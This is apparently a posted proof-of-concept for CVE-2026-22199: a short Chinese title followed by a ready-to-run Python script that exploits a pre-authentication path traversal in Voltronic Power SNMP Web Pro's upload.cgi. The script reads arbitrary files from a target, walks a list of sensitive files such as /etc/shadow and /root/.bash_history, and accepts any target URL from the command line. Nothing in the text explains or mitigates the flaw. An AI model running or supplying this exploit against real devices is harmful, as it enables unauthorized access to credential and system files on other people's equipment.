CVE-2026-22199 Voltronic Power SNMP Web Pro 路径遍历漏洞

import requests import sys # CVE-2026-22199 PoC - Voltronic Power SNMP Web Pro Path Traversal # Target: /cgi-bin/upload.cgi?params=../../../../etc/passwd def exploit_cve_2026_22199(target_url, filename='/etc/passwd'): """ Exploit for pre-auth path traversal in upload.cgi Args: target_url: Base URL of the vulnerable target filename: Path to file to read (default: /etc/passwd) Returns: Content of the requested file """ # Construct traversal path traversal = '../' * 6 target_path = traversal + filename.lstrip('/') # Build exploit URL exploit_url = f"{target_url.rstrip('/')}/cgi-bin/upload.cgi" params = {'params': target_path} print(f"[*] Target: {exploit_url}") print(f"[*] Attempting to read: {filename}") print(f"[*] Path traversal: {target_path}") try: # Send request without authentication response = requests.get(exploit_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Success! File content:") print(response.text) return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def read_sensitive_files(target_url): """ Attempt to read multiple sensitive files """ sensitive_files = [ '/etc/passwd', '/etc/shadow', '/etc/hosts', '/var/log/messages', '/root/.bash_history' ] for file in sensitive_files: print(f"\n[*] Trying: {file}") result = exploit_cve_2026_22199(target_url, file) if result: break if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [filename]") print(f"Example: python {sys.argv[0]} http://target.com /etc/passwd") sys.exit(1) target = sys.argv[1] filename = sys.argv[2] if len(sys.argv) > 2 else '/etc/passwd' if len(sys.argv) > 2: exploit_cve_2026_22199(target, filename) else: read_sensitive_files(target)